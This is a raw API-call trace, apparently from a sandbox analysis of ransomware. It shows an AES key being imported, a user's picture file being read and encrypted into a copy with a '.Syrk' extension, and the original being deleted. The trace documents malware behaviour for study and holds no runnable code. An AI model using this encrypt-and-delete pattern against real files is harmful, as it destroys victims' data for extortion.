(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0247.233] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0247.233] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0247.233] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.233] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0247.234] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.234] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0247.234] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0247.234] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.234] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0247.234] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.235] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0247.235] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0247.235] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.235] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0247.235] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.235] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0247.235] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0247.235] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.235] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0247.235] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.236] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0247.236] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0247.236] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.236] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0247.236] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.236] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0247.236] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0247.236] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.236] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0247.236] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.237] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0247.237] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0247.237] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.237] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0247.237] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.237] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0247.237] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0247.237] SystemFunction041 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.237] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0247.237] SystemFunction040 (in: Memory=0x3af08c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af08c) returned 0x0 [0247.238] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0247.238] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0247.238] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0247.238] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0247.239] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.239] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0247.239] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.239] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0247.239] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0247.239] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.239] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0247.239] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.239] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0247.239] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0247.239] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.240] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0247.240] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.240] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0247.240] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0247.240] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.240] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0247.240] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.241] EtwEventActivityIdControl () returned 0x0 [0247.242] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0247.242] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.242] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0247.242] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0247.244] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d320) returned 1 [0247.248] CryptImportKey (in: hProv=0x5c4d320, pbData=0x23bd470*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c999e0) returned 1 [0247.248] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0247.248] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.250] EtwEventActivityIdControl () returned 0x0 [0247.250] EtwEventActivityIdControl () returned 0x0 [0247.250] EtwEventActivityIdControl () returned 0x0 [0247.258] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png")) returned 0x20 [0247.260] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png")) returned 0x20 [0247.260] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0247.260] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", lpFilePart=0x0) returned 0x24 [0247.261] EtwEventActivityIdControl () returned 0x0 [0247.262] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.262] EtwEventActivityIdControl () returned 0x0 [0247.263] EtwEventActivityIdControl () returned 0x0 [0247.263] EtwEventActivityIdControl () returned 0x0 [0247.439] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0247.439] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", lpFilePart=0x0) returned 0x24 [0247.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0247.439] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0247.440] GetFileType (hFile=0x3c4) returned 0x1 [0247.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0247.440] GetFileType (hFile=0x3c4) returned 0x1 [0247.440] EtwEventActivityIdControl () returned 0x0 [0247.441] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.441] EtwEventActivityIdControl () returned 0x0 [0247.441] EtwEventActivityIdControl () returned 0x0 [0247.441] EtwEventActivityIdControl () returned 0x0 [0247.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0247.442] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk", lpFilePart=0x0) returned 0x29 [0247.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0247.443] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0247.444] GetFileType (hFile=0x454) returned 0x1 [0247.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0247.444] GetFileType (hFile=0x454) returned 0x1 [0247.444] EtwEventActivityIdControl () returned 0x0 [0247.444] CryptGenRandom (in: hProv=0x5c4d320, dwLen=0x10, pbBuffer=0x23cd524 | out: pbBuffer=0x23cd524) returned 1 [0247.446] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0247.446] CryptDuplicateKey (in: hKey=0x5c999e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c996e0) returned 1 [0247.446] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0247.446] CryptSetKeyParam (hKey=0x5c996e0, dwParam=0x4, pbData=0x23ce85c*=0x1, dwFlags=0x0) returned 1 [0247.446] CryptSetKeyParam (hKey=0x5c996e0, dwParam=0x1, pbData=0x23ce828, dwFlags=0x0) returned 1 [0247.447] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.447] EtwEventActivityIdControl () returned 0x0 [0247.447] EtwEventActivityIdControl () returned 0x0 [0247.447] EtwEventActivityIdControl () returned 0x0 [0247.449] EtwEventActivityIdControl () returned 0x0 [0247.449] ReadFile (in: hFile=0x3c4, lpBuffer=0x23d1498, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d1498*, lpNumberOfBytesRead=0x5a2e7d8*=0xa774, lpOverlapped=0x0) returned 1 [0247.452] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23e54b0*, pdwDataLen=0x5a2e7cc*=0xa770, dwBufLen=0xa770 | out: pbData=0x23e54b0*, pdwDataLen=0x5a2e7cc*=0xa770) returned 1 [0247.453] WriteFile (in: hFile=0x454, lpBuffer=0x23cd60c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23cd60c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0247.454] WriteFile (in: hFile=0x454, lpBuffer=0x23e649c*, nNumberOfBytesToWrite=0x9784, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23e649c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x9784, lpOverlapped=0x0) returned 1 [0247.456] ReadFile (in: hFile=0x3c4, lpBuffer=0x23d1498, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23d1498*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0247.456] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23efc2c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23efc2c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0247.456] CryptEncrypt (in: hKey=0x5c996e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23efc48*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23efc48*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0247.456] WriteFile (in: hFile=0x454, lpBuffer=0x23cd60c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23cd60c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0247.456] CloseHandle (hObject=0x454) returned 1 [0247.458] CloseHandle (hObject=0x3c4) returned 1 [0247.459] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0247.459] EtwEventActivityIdControl () returned 0x0 [0247.459] EtwEventActivityIdControl () returned 0x0 [0247.459] EtwEventActivityIdControl () returned 0x0 [0247.466] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png")) returned 0x20 [0247.490] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0247.490] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", lpFilePart=0x0) returned 0x24 [0247.491] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0247.491] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0247.491] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0247.491] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0247.492] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0247.492] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0247.492] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0247.492] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0247.492] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0247.492] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0247.492] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0247.493] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0247.493] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0247.493] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0247.493] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0247.493] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0247.493] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png")) returned 0x20 [0247.493] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0247.493] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", lpFilePart=0x0) returned 0x24 [0247.497] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0247.497] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", lpFilePart=0x0) returned 0x24 [0247.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0247.497] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0247.497] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", lpFilePart=0x0) returned 0x24 [0247.498] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0247.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0247.498] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0247.498] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0247.498] CoTaskMemFree (pv=0x3b0008) [0247.501] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png")) returned 0x20 [0247.501] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0247.502] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png", lpFilePart=0x0) returned 0x24 [0247.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0247.502] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png"), fInfoLevelId=0x0, lpFileInformation=0x23fa3ac | out: lpFileInformation=0x23fa3ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcb4d80, ftCreationTime.dwHighDateTime=0x1d99700, ftLastAccessTime.dwLowDateTime=0xbd2d1d20, ftLastAccessTime.dwHighDateTime=0x1d998a0, ftLastWriteTime.dwLowDateTime=0xbd2d1d20, ftLastWriteTime.dwHighDateTime=0x1d998a0, nFileSizeHigh=0x0, nFileSizeLow=0xa774)) returned 1 [0247.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0247.502] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\BiMH.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bimh.png")) returned 